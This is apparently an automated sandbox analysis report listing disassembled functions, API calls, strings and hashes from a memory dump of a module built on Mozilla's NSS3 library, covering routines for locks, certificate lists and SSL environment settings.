API String ID: 3383223490-0
Opcode ID: 1cd09242dc6c2e98d233f245db5d172bf508df7260d3b0edc0ecc41290134464
Instruction ID: c832da17c2b31ceac3a9f346950bd90bad5aa4e2631b88b4062de92d641dc23f
Opcode Fuzzy Hash: 1cd09242dc6c2e98d233f245db5d172bf508df7260d3b0edc0ecc41290134464
Instruction Fuzzy Hash: 6AF19CB5D00209AFDF00DF64D888B9EBBB5FF09318F244169EC19A7721E731A995CB91

Function 6CE598E0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 280stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE706A0: TlsGetValue.KERNEL32 ref: 6CE706C2
Part of subcall function 6CE706A0: EnterCriticalSection.KERNEL32(?), ref: 6CE706D6
Part of subcall function 6CE706A0: PR_Unlock.NSS3 ref: 6CE706EB

PR_SetError.NSS3(FFFFE018,00000000,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE59BA9

Part of subcall function 6CE71750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6CE5991E,00000000,00000000,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE71769
Part of subcall function 6CE71750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE7180C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE59930
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE5995D
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE5997E
TlsGetValue.KERNEL32(?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE599AD
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE599C4
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE599E2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE52D6B), ref: 6CE59A1F
PK11_GetInternalKeySlot.NSS3(?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE59A27
TlsGetValue.KERNEL32 ref: 6CE59AE1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE59AF5
PR_Unlock.NSS3 ref: 6CE59B11
TlsGetValue.KERNEL32 ref: 6CE59B3B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE59B4F
PR_Unlock.NSS3 ref: 6CE59B72
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE59BC7

Part of subcall function 6CE689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE688AE,-00000008), ref: 6CE68A04
Part of subcall function 6CE689E0: EnterCriticalSection.KERNEL32(?), ref: 6CE68A15
Part of subcall function 6CE689E0: memset.VCRUNTIME140(6CE688AE,00000000,00000132), ref: 6CE68A27
Part of subcall function 6CE689E0: PR_Unlock.NSS3(?), ref: 6CE68A35

Strings

k-l, xrefs: 6CE59BE2
k-l, xrefs: 6CE59B7C, 6CE59B83

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Enter$CriticalSectionUnlockValue$ErrorMonitor$ExitInternalItem_K11_SlotUtilZfreememcpymemsetstrcmpstrlen
String ID: k-l$k-l
API String ID: 568628329-2691625188
Opcode ID: f9425c96abaead8d0a514f27f36ff0fff5afa916082801dd476f5ba85aa8cb0f
Instruction ID: 1176c49a89643ca716b1c8551549b019bca9dccc4fafaf66f76a59fe64f0c731
Opcode Fuzzy Hash: f9425c96abaead8d0a514f27f36ff0fff5afa916082801dd476f5ba85aa8cb0f
Instruction Fuzzy Hash: 5F91D3F6D102049BEB409F65DC41BEA77B8AF0530CF644128EC0897B11EB32D96AC7E1

Function 6CE79FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE79FBE

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE7A015

Part of subcall function 6CE91940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CE9563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CE9195C
Part of subcall function 6CE91940: EnterCriticalSection.KERNEL32(?,?,6CE9563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE91970
Part of subcall function 6CE91940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE6EAC5,00000001,?,6CE6CE9B,00000001,6CE6EAC5), ref: 6CE919A0

PL_FreeArenaPool.NSS3(?), ref: 6CE7A067
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A055

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7A07E
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE7A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE7A0CF
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE7A140
PL_FinishArenaPool.NSS3(?), ref: 6CE7A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7A158
PL_FinishArenaPool.NSS3(?), ref: 6CE7A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE7A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7A1B2
free.MOZGLUE(00000000), ref: 6CE7A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE7A1D6

Part of subcall function 6CE955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE6EAC5,00000001,?,6CE6CE9B,00000001,6CE6EAC5,00000003,-00000004,00000000,?,6CE6EAC5), ref: 6CE95627
Part of subcall function 6CE955E0: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001,?,6CE6CE9B), ref: 6CE9564F
Part of subcall function 6CE955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE95661
Part of subcall function 6CE955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE6EAC5), ref: 6CE956AF

Strings

security, xrefs: 6CE7A00F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 1a451619419530a206cc2fd3e518a9cefd535f67b1ed19fec41e9cd0eb46311a
Instruction ID: bf9af15bb6dbc8785e142e69c5af08b6f41ddaed60512989475740ac5ca91799
Opcode Fuzzy Hash: 1a451619419530a206cc2fd3e518a9cefd535f67b1ed19fec41e9cd0eb46311a
Instruction Fuzzy Hash: 0A51D9B5D402099BEB209BA4DD44BAEB378AF4630CF305528E805BBB41E776D509C7B2

Function 6CE94C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE94C4C
EnterCriticalSection.KERNEL32(?), ref: 6CE94C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE94CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94DB7

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

TlsGetValue.KERNEL32 ref: 6CE94DD7
EnterCriticalSection.KERNEL32(?), ref: 6CE94DEC
PR_Unlock.NSS3(?), ref: 6CE94E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CE94E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CE94E71
free.MOZGLUE(00000000), ref: 6CE94E7A
PR_Unlock.NSS3(?), ref: 6CE94EA2
TlsGetValue.KERNEL32 ref: 6CE94EC1
EnterCriticalSection.KERNEL32(?), ref: 6CE94ED6
PR_Unlock.NSS3(?), ref: 6CE94F01
free.MOZGLUE(00000000), ref: 6CE94F2A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 415f3e8c7211baabc0bf7ce168e29dbf5273eadef3c5dbdb3eda6413e3ff3ec4
Instruction ID: f4dbcb8e979bd875603311a4c724b206ec6a894ba48f413e3b337947e3b85331
Opcode Fuzzy Hash: 415f3e8c7211baabc0bf7ce168e29dbf5273eadef3c5dbdb3eda6413e3ff3ec4
Instruction Fuzzy Hash: 94B1F475E00206DFEB40EF68D884BAA77B4BF0931CF244129EC259BB11E731E965CB91

Function 6CE9FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFB4

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFC6

Part of subcall function 6CF198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF19946
Part of subcall function 6CF198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDD16B7,00000000), ref: 6CF1994E
Part of subcall function 6CF198D0: free.MOZGLUE(00000000), ref: 6CF1995E

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFD6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFE6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFF6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0006
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0016
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0026
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0036
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0046
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0056
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0066
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0076
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0086
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0096
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00A6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00B6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00C6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00D6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00E6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: f46d78bdae7c0581bb74d9019d459cd3ae1943416c3d7de4e51a4558a2915a83
Instruction ID: 9e7dc4e9e28beff4657f5137107003b5e9808a7e4cc46fc6739fde15878f12a5
Opcode Fuzzy Hash: f46d78bdae7c0581bb74d9019d459cd3ae1943416c3d7de4e51a4558a2915a83
Instruction Fuzzy Hash: 433146F0E25614DE8BC5DF25C4C834ABAF4BB16698754652AD01486F02DB76024ECFDD

Function 6CEE6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CEE6BF7), ref: 6CEE6EB6

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CF8FC0A,6CEE6BF7), ref: 6CEE6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEE6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CEE6EFC
PR_NewLock.NSS3 ref: 6CEE6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CEE6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CEE6BF7), ref: 6CEE6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CEE6BF7), ref: 6CEE6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CEE6BF7), ref: 6CEE6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CEE6BF7), ref: 6CEE6FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CEE6FDB
SSLKEYLOGFILE, xrefs: 6CEE6EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CEE6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CEE6EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CEE6F4F
SSLFORCELOCKS, xrefs: 6CEE6F2B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 52acc7eaf8e30b4950eb13238fe7291f3bee27e86569aced38534114c7483459
Instruction ID: 6b25edda1c473a68afdf7f2c8fe9c1a6244801aff83dfce73841e2cb16a6568a
Opcode Fuzzy Hash: 52acc7eaf8e30b4950eb13238fe7291f3bee27e86569aced38534114c7483459
Instruction Fuzzy Hash: E4A147B2E65D8287EB905A3CCD4138432B6AB8F3A9F384365E930C6FD6DF7194418245

Function 6CE65DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE65DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE65E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE65E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE65E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE65EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE65ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE65F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE65F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE65F89
free.MOZGLUE(?), ref: 6CE65FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE65FB6
free.MOZGLUE(00000000), ref: 6CE65FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE6600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE66079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE66084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE66094

Strings

, xrefs: 6CE65EEB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 7c3b5032e880661788ed3279138cbf264bd6939dd5049042d4ff7b64b0b596c4
Instruction ID: 20749fe181ef552d7bae43d166adf99c757dcd8f580ff2a6c92251ff14857680
Opcode Fuzzy Hash: 7c3b5032e880661788ed3279138cbf264bd6939dd5049042d4ff7b64b0b596c4
Instruction Fuzzy Hash: EF81F1B1F612059BDF108B66CC81BAE77B5AF0431CF344128E859A7F82E731E814CB92

Function 6CE638C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE028,00000000,?), ref: 6CE638F2
SECKEY_ECParamsToBasePointOrderLen.NSS3(-00000010,?,?,?,?,?), ref: 6CE63902
SECITEM_CopyItem_Util.NSS3(00000000,00000014,00000000), ref: 6CE63AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,?), ref: 6CE63AEA
SECITEM_CopyItem_Util.NSS3(00000000,00000014,00000000), ref: 6CE63B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,?), ref: 6CE63B1C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE63B40
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE63B70
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE63B88
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE63B9D
PL_FreeArenaPool.NSS3(?), ref: 6CE63BB2
PL_FinishArenaPool.NSS3(?), ref: 6CE63BBD
SECITEM_CopyItem_Util.NSS3(00000000,00000010,?), ref: 6CE63BD4
SECITEM_CopyItem_Util.NSS3(00000000,-00000020,o^l), ref: 6CE63BF2
PK11_DestroyObject.NSS3(?,?), ref: 6CE63C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE63C40

Strings

security, xrefs: 6CE63B6A
o^l, xrefs: 6CE63BEF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Copy$ArenaPool$ErrorFree$Arena_BaseCallDecodeDestroyFinishInitK11_ObjectOnceOrderParamsPointQuick
String ID: o^l$security
API String ID: 3293387093-2181495056
Opcode ID: f79e45e71190f7c1d4efcb34a262eea43fabfd0c9e14112820ce06b2b3cd3794
Instruction ID: 8d3fda5384d5b92ac238baabb917654a3319481bdf2dca2edaf22a2aa5716648
Opcode Fuzzy Hash: f79e45e71190f7c1d4efcb34a262eea43fabfd0c9e14112820ce06b2b3cd3794
Instruction Fuzzy Hash: 0951D3B6950205AFE714CFA6EC81FAA73B8EB1530CF240529E806D7F52F725E9098761

Function 6CE41FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE42007
calloc.MOZGLUE(00000001,00000084), ref: 6CE42077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE420DF
TlsSetValue.KERNEL32(00000000), ref: 6CE42188
PR_NewCondVar.NSS3 ref: 6CE421B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE4221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE422C2
GetLastError.KERNEL32 ref: 6CE422CD
free.MOZGLUE(00000000), ref: 6CE422DD

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
